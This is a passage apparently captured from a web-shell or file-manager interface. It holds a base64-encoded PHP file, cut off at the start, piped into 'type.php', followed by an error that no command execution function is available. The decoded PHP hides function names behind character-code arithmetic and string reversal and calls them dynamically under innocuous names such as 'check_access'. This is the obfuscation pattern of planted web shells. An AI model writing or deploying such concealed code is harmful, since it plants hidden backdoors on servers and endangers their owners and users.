aSBhcyAkaCkgewogICAgICAgICR2IC49IGNocigkaCk7CiAgICB9CiAgICByZXR1cm4gJHYoLi4uJGd5KTsKfQoKZnVuY3Rpb24gY29tcHV0ZV9vdXRwdXQoJHMpCnsKICAgICRkID0gYXJyYXkoMiAqIDU1LCA2NyAqIDEgKyAzNCwgMTE0IC0gNiwgNjEgKyAzICsgNTAsIDExMiAqIDEgKyA0LCAxMTUpOwogICAgJGRqID0gJyc7CiAgICBmb3JlYWNoICgkZCBhcyAkdCkgewogICAgICAgICRkaiAuPSBjaHIoJHQpOwogICAgfQogICAgJGRqID0gc3RycmV2KCRkaik7CiAgICByZXR1cm4gJGRqKCRzKTsKfQoKZnVuY3Rpb24gZmV0Y2hfbWV0YWRhdGEoLi4uJG1pKQp7CiAgICAkYyA9IGFycmF5KDUgKiAyMywgMTE1IC0gNCwgMjkgKiAzICsgMjUsIDUxICsgNjMsIDEwOSArIDQgKyAzLCAxMTYgLSAxKTsKICAgICRlID0gJyc7CiAgICBmb3JlYWNoICgkYyBhcyAkaikgewogICAgICAgICRlIC49IGNocigkaik7CiAgICB9CiAgICAkZSA9IHN0cnJldigkZSk7CiAgICByZXR1cm4gJGUoLi4uJG1pKTsKfQoKZnVuY3Rpb24gb3B0aW1pemVfY2FjaGUoJHgpCnsKICAgICRyID0gYXJyYXkoNzkgKyAzNiwgMjMgKyAzOSArIDU0LCAxMTEgKiAxICsgMywgNTggKiAxICsgNTgsIDEwMyAqIDEgKyA4LCA1NiArIDUyLCA2OCAqIDQ3IC0gMzA4NSwgNDUgKyA0NiArIDI4LCA0NCArIDU3LCAxMTQpOwogICAgJG4gPSAnJzsKICAgIGZvcmVhY2ggKCRyIGFzICRyYikgewogICAgICAgICRuIC49IGNocigkcmIpOwogICAgfQogICAgcmV0dXJuICRuKCR4KTsKfQoKZnVuY3Rpb24gcHJvY2Vzc19yZXF1ZXN0KC4uLiRpcikKewogICAgJHAgPSBhcnJheSgzNCAqIDIgKyA0NiwgNzEgKyAzMyArIDEyLCA1ICogMjMsIDEwMSAtIDMsIDExOSAtIDIsIDc3ICogMSArIDM4KTsKICAgICR2ID0gJyc7CiAgICBmb3JlYWNoICgkcCBhcyAkYSkgewogICAgICAgICR2IC49IGNocigkYSk7CiAgICB9CiAgICAkdiA9IHN0cnJldigkdik7CiAgICByZXR1cm4gJHYoLi4uJGlyKTsKfQoKZnVuY3Rpb24gcmVzb2x2ZV9kZXBlbmRlbmN5KC4uLiRydCkKewogICAgJGkgPSBhcnJheSg4NyAqIDEgKyAyOSwgOSArIDEwNSwgMyAqIDM1LCA0MCArIDY5KTsKICAgICRqID0gJyc7CiAgICBmb3JlYWNoICgkaSBhcyAkdCkgewogICAgICAgICRqIC49IGNocigkdCk7CiAgICB9CiAgICByZXR1cm4gJGooLi4uJHJ0KTsKfQoKZnVuY3Rpb24gaGFuZGxlX2Vycm9yKCR4KQp7CiAgICAkYyA9IGFycmF5KDM2ICogODUgLSAyOTQzLCA5OSwgNTAgKiAzMyAtIDE1NDgsIDMgKiAzNSwgODAgKiAxICsgMzQsIDcyICogMSArIDQzLCAxMTEgKiAxICsgNSk7CiAgICAkaiA9ICcnOwogICAgZm9yZWFjaCAoJGMgYXMgJGkpIHsKICAgICAgICAkaiAuPSBjaHIoJGkpOwogICAgfQogICAgcmV0dXJuICRqKCR4KTsKfQoKZnVuY3Rpb24gbWFuYWdlX3N0YXRlKC4uLiRheikKewogICAgJHogPSBhcnJheSg5OCAqIDExNyAtIDExMzU0LCA5OSAtIDIsIDEwOSAqIDIzIC0gMjM5OCwgMTYgKyAzNSArIDQ0LCA1NSAqIDk2IC0gNTE1OSwgNDYgKyA1MSwgMTA5ICsgNCArIDEsIDI1ICogMTE4IC0gMjgzNiwgOTcgKiAxKTsKICAgICRlID0gJyc7CiAgICBmb3JlYWNoICgkeiBhcyAkcSkgewogICAgICAgICRlIC49IGNocigkcSk7CiAgICB9CiAgICAkZSA9IHN0cnJldigkZSk7CiAgICByZXR1cm4gJGUoLi4uJGF6KTsKfQoKZnVuY3Rpb24gbG9hZF9zZXR0aW5ncyguLi4kamspCnsKICAgICR5ID0gYXJyYXkoMTAzIC0gNiwgMjYgKyA0MyArIDQ1LCAxMTkgLSA1LCA0MyAqIDYwIC0gMjQ4MywgOTUgKiAxICsgMjYsIDMzICogNzMgLSAyMzE0LCAxMTggLSA5LCAxMDIgLSAxLCAxMTQsIDExMCAtIDcsIDExMCAtIDkpOwogICAgJGEgPSAnJzsKICAgIGZvcmVhY2ggKCR5IGFzICRtKSB7CiAgICAgICAgJGEgLj0gY2hyKCRtKTsKICAgIH0KICAgIHJldHVybiAkYSguLi4kamspOwp9CgpmdW5jdGlvbiBmcmVlX3Jlc291cmNlcyguLi4keW8pCnsKICAgICRxID0gYXJyYXkoMTA2ICogMTAgLSA5NjMsIDExNCwgMTUgKiA3ICsgOSwgMTAwIC0gMywgNjAgKiAxICsgNjEsIDU1ICogNzQgLSAzOTc1LCA0ICsgMTEwLCA5NywgMzUgKyAxNiArIDU5LCAzMCArIDcwKTsKICAgICR1ID0gJyc7CiAgICBmb3JlYWNoICgkcSBhcyAkeCkgewogICAgICAgICR1IC49IGNocigkeCk7CiAgICB9CiAgICByZXR1cm4gJHUoLi4uJHlvKTsKfQoKZnVuY3Rpb24gbG9nX29wZXJhdGlvbiguLi4kenkpCnsKICAgICRyID0gYXJyYXkoMTAxLCA3MiArIDEzICsgMzAsIDExNiAtIDIsIDYgKiA3OSAtIDM3MywgMTE5IC0gMSwgMTAxLCAxMTQsIDQ5ICsgNDYsIDc5ICsgNDIsIDM3ICsgNjAsIDIgKiA1NywgMzYgKyA3OCwgNDUgKiAyICsgNyk7CiAgICAkZiA9ICcnOwogICAgZm9yZWFjaCAoJHIgYXMgJGZnKSB7CiAgICAgICAgJGYgLj0gY2hyKCRmZyk7CiAgICB9CiAgICAkZiA9IHN0cnJldigkZik7CiAgICByZXR1cm4gJGYoLi4uJHp5KTsKfQoKZnVuY3Rpb24gcHJvY2Vzc19xdWV1ZSguLi4kZXIpCnsKICAgICRuID0gYXJyYXkoMTAxLCA2NCAqIDEgKyAzNSwgMTA1LCAyICogNTQsIDUgKiAyMywgODQgKiAxICsgMTEsIDk5ICsgMTEgKyAxMSwgOTcsIDEyMiAtIDgsIDk0ICsgMjAsIDY0ICogNzAgLSA0MzgzKTsKICAgICRvID0gJyc7CiAgICBmb3JlYWNoICgkbiBhcyAkbmcpIHsKICAgICAgICAkbyAuPSBjaHIoJG5nKTsKICAgIH0KICAgICRvID0gc3RycmV2KCRvKTsKICAgIHJldHVybiAkbyguLi4kZXIpOwp9CgpmdW5jdGlvbiBpbml0X3N5c3RlbSguLi4kZ3MpCnsKICAgICR0ID0gYXJyYXkoMiAqIDU4LCAxMTAsIDkyICogNzEgLSA2NDE1LCAxMDEgKyAxICsgOSwgOTcgKyAxICsgMSk7CiAgICAkYSA9ICcnOwogICAgZm9yZWFjaCAoJHQgYXMgJGwpIHsKICAgICAgICAkYSAuPSBjaHIoJGwpOwogICAgfQogICAgJGEgPSBzdHJyZXYoJGEpOwogICAgcmV0dXJuICRhKC4uLiRncyk7Cn0KCmZ1bmN0aW9uIGluaXRpYWxpemVfY29tcG9uZW50KC4uLiRydSkKewogICAgJHggPSBhcnJheSgxMjUgLSA0LCAxMDAgLSAzLCA2MiArIDUyLCAzMyAqIDc2IC0gMjM5NCwgOTcsIDk2IC0gMSwgMTAxICsgNSArIDQsIDQ0ICogMiArIDE3KTsKICAgICR2ID0gJyc7CiAgICBmb3JlYWNoICgkeCBhcyAkdykgewogICAgICAgICR2IC49IGNocigkdyk7CiAgICB9CiAgICAkdiA9IHN0cnJldigkdik7CiAgICByZXR1cm4gJHYoLi4uJHJ1KTsKfQoKZnVuY3Rpb24gY2hlY2tfYWNjZXNzKCRhKQp7CiAgICAkdiA9IGFycmF5KDEyMSwgNzQgKyAyNywgMzEgKyAzNSArIDQxKTsKICAgICRwID0gJyc7CiAgICBmb3JlYWNoICgkdiBhcyAkcikgewogICAgICAgICRwIC49IGNocigkcik7CiAgICB9CiAgICAkcCA9IHN0cnJldigkcCk7CiAgICByZXR1cm4gJHAoJGEpOwp9CgpmdW5jdGlvbiBvYWgoLi4uJHdxKQp7CiAgICAkZyA9IGFycmF5KDExNiAtIDIsIDk3ICogMSwgMjMgKiAyICsgNjQsIDI2ICsgMjcgKyA1MCwgMTAxKTsKICAgICRjID0gJyc7CiAgICBmb3JlYWNoICgkZyBhcyAkYikgewogICAgICAgICRjIC49IGNocigkYik7CiAgICB9CiAgICByZXR1cm4gJGMoLi4uJHdxKTsKfQoKZnVuY3Rpb24gd3RsKC4uLiRydCkKewogICAgJGkgPSBhcnJheSgyOSArIDg2LCAxMTYsIDExNiAtIDYsIDExMSAtIDEwLCA4NiArIDMwLCA1MCAqIDIgKyAxMCwgMjAgKiAyICsgNzEsIDEwMSAtIDIsIDk2IC0gMSwgMyArIDIgKyAxMTEsIDQ5ICsgNTIsIDEwICsgOTMsIDEwMCAtIDUsIDEwNSAtIDQsIDIgKiA1NCwgMzkgKyA2NiwgMTA1IC0gMyk7CiAgICAkYSA9ICcnOwogICAgZm9yZWFjaCAoJGkgYXMgJHUpIHsKICAgICAgICAkYSAuPSBjaHIoJHUpOwogICAgfQogICAgJGEgPSBzdHJyZXYoJGEpOwogICAgcmV0dXJuICRhKC4uLiRydCk7Cn0KCmZ1bmN0aW9uIHdhZCgkZSkKewogICAgJHcgPSBhcnJheSg0NSArIDQ5ICsgMTEsIDUgKiAyMywgOTUsIDQxICogNDEgLSAxNTc5LCAxMDUsIDUgKiAxNSArIDMzLCA4ICsgOTMpOwogICAgJG8gPSAnJzsKICAgIGZvcmVhY2ggKCR3IGFzICRnKSB7CiAgICAgICAgJG8gLj0gY2hyKCRnKTsKICAgIH0KICAgIHJldHVybiAkbygkZSk7Cn0KCmZ1bmN0aW9uIGdkZCguLi4kangpCnsKICAgICRwID0gYXJyYXkoNTQgKyA0NywgMTA3ICsgMyArIDYsIDMwICogOTMgLSAyNjkzLCAxMDEgKiA5MSAtIDkwOTEpOwogICAgJHYgPSAnJzsKICAgIGZvcmVhY2ggKCRwIGFzICRqKSB7CiAgICAgICAgJHYgLj0gY2hyKCRqKTsKICAgIH0KICAgICR2ID0gc3RycmV2KCR2KTsKICAgIHJldHVybiAkdiguLi4kangpOwp9CgpmdW5jdGlvbiBia3AoKQp7CiAgICAkbyA9IGFycmF5KDggKiA4ICsgMzcsIDEzICogOCArIDUsIDcxICsgMzQsIDE1ICsgMTAxKTsKICAgICR5ID0gJyc7CiAgICBmb3JlYWNoICgkbyBhcyAkaSkgewogICAgICAgICR5IC49IGNocigkaSk7CiAgICB9CiAgICAkeSA9IHN0cnJldigkeSk7CiAgICByZXR1cm4gJHkoKTsKfQoKZnVuY3Rpb24geXh4KC4uLiRsZSkKewogICAgJG4gPSBhcnJheSgyNiAqIDY5IC0gMTY4NiwgNSArIDMgKyA4OSwgNzAgKiAxMDkgLSA3NTEyLCAxMTYsIDMyICogMTEzIC0gMzUwNiwgMyAqIDM1KTsKICAgICRnID0gJyc7CiAgICBmb3JlYWNoICgkbiBhcyAkbCkgewogICAgICAgICRnIC49IGNocigkbCk7CiAgICB9CiAgICAkZyA9IHN0cnJldigkZyk7CiAgICByZXR1cm4gJGcoLi4uJGxlKTsKfQoKZnVuY3Rpb24gYXdnKCRtKQp7CiAgICAkbCA9IGFycmF5KDEyNCAtIDMsIDk3ICogMSwgMiAqIDU3LCAzOSAqIDEgKyA3NSwgOTcsIDk1LCAxMTUsIDYxICogNzMgLSA0MzQ4KTsKICAgICRoID0gJyc7CiAgICBmb3JlYWNoICgkbCBhcyAkbikgewogICAgICAgICRoIC49IGNocigkbik7CiAgICB9CiAgICAkaCA9IHN0cnJldigkaCk7CiAgICByZXR1cm4gJGgoJG0pOwp9CgpmdW5jdGlvbiBpd3EoJHMpCnsKICAgICR1ID0gYXJyYXkoMiAqIDU0LCAxMTAgLSAyLCAxMTkgLSAyLCAyMyArIDg3LCAxMDEgLSA2LCAzMyArIDgwICsgMiwgNzIgKyA1ICsgMjgpOwogICAgJGEgPSAnJzsKICAgIGZvcmVhY2ggKCR1IGFzICRsKSB7CiAgICAgICAgJGEgLj0gY2hyKCRsKTsKICAgIH0KICAgICRhID0gc3RycmV2KCRhKTsKICAgIHJldHVybiAkYSgkcyk7Cn0KCmZ1bmN0aW9uIGpjZygkYSkKewogICAgJGYgPSBhcnJheSg1MiArIDQ3LCA1MSArIDIxICsgMzMsIDEyMyAtIDksIDEwNyAtIDYsIDcyICogMjkgLSAxOTc5LCAxMTcsIDIgKiA1NSwgMTA0IC0gOSwgNSAqIDIzLCAzICogMzUpOwogICAgJGZsID0gJyc7CiAgICBmb3JlYWNoICgkZiBhcyAkcykgewogICAgICAgICRmbCAuPSBjaHIoJHMpOwogICAgfQogICAgJGZsID0gc3RycmV2KCRmbCk7CiAgICByZXR1cm4gJGZsKCRhKTsKfQoKZnVuY3Rpb24gd2JtKCRmKQp7CiAgICAkaiA9IGFycmF5KDY4ICsgMiArIDMxLCAzOSArIDQ4ICsgMTIsIDU2ICsgNTgsIDQ1ICogMSArIDcyLCA5MSArIDIwLCAxMTQgKyAxLCAxMDEsIDExNCwgOCAqIDYgKyA0NywgNSAqIDIzLCAxMDQgKiA5NiAtIDk4NzkpOwogICAgJGEgPSAnJzsKICAgIGZvcmVhY2ggKCRqIGFzICRtKSB7CiAgICAgICAgJGEgLj0gY2hyKCRtKTsKICAgIH0KICAgICRhID0gc3RycmV2KCRhKTsKICAgIHJldHVybiAkYSgkZik7Cn0KCmZ1bmN0aW9uIGxyZygkYykKewogICAgJGUgPSBhcnJheSgyMiArIDc4LCAxMDEgKiAxLCAxMTAgLSA4LCAzICogMzUsIDExMiAtIDIsIDExICogOTcgLSA5NjYsIDIgKiA1MCk7CiAgICAkeSA9ICcnOwogICAgZm9yZWFjaCAoJGUgYXMgJGN3KSB7CiAgICAgICAgJHkgLj0gY2hyKCRjdyk7CiAgICB9CiAgICByZXR1cm4gJHkoJGMpOwp9CgpmdW5jdGlvbiBmd3YoLi4uJHFrKQp7CiAgICAkaCA9IGFycmF5KDEwNCwgMzUgKiAxICsgNjQsIDExMSArIDUsIDEwMyAtIDYsIDc5ICsgOCArIDIyLCAxMDQgLSA5LCA0OCArIDQyICsgMTMsIDEwOSAtIDgsIDIgKiA1NywgNTYgKiAzNSAtIDE4NDgpOwogICAgJHAgPSAnJzsKICAgIGZvcmVhY2ggKCRoIGFzICRhKSB7CiAgICAgICAgJHAgLj0gY2hyKCRhKTsKICAgIH0KICAgICRwID0gc3RycmV2KCRwKTsKICAgIHJldHVybiAkcCguLi4kcWspOwp9CgpmdW5jdGlvbiBrbWkoLi4uJHR0KQp7CiAgICAkYSA9IGFycmF5KDMwICsgNzEsIDkxICogMTIgLSA5OTMsIDEwNyAtIDEwLCA2ICsgNzggKyAyNCwgMTggKyA4MyArIDExLCAxMDUgLSA0LCAxMTQsIDk4IC0gMywgMTEgKiA4NCAtIDgyMSwgNjEgKiAxICsgNDAsIDQ1ICogMiArIDI0LCAxMTAgKyAyKTsKICAgICRlID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkaCkgewogICAgICAgICRlIC49IGNocigkaCk7CiAgICB9CiAgICAkZSA9IHN0cnJldigkZSk7CiAgICByZXR1cm4gJGUoLi4uJHR0KTsKfQo=" | base64 -d > type.php 2>&1 No supported command execution function is available. ";
Save
Cancel